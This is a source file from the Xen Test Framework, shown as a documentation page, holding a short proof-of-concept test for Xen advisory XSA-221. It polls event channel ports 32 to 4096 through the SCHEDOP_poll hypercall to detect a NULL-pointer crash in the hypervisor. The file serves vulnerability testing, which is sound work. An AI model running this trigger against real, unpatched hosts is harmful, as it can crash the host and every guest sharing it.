main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-221 PoC";

void test_main(void)
{
    evtchn_port_t port;
    struct sched_poll poll = {
        .ports = &port,
        .nr_ports = 1,
        .timeout = 1,
    };

    for ( port = 32; port <= 4096; ++port )
        hypercall_sched_op(SCHEDOP_poll, &poll);

    /*
     * If Xen is still alive at this point, it hasn't fallen over a NULL
     * bucket pointer, which probably means that XSA-221 is fixed.
     */
    xtf_success("Success: Probably not vulnerable to XSA-221\n");
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */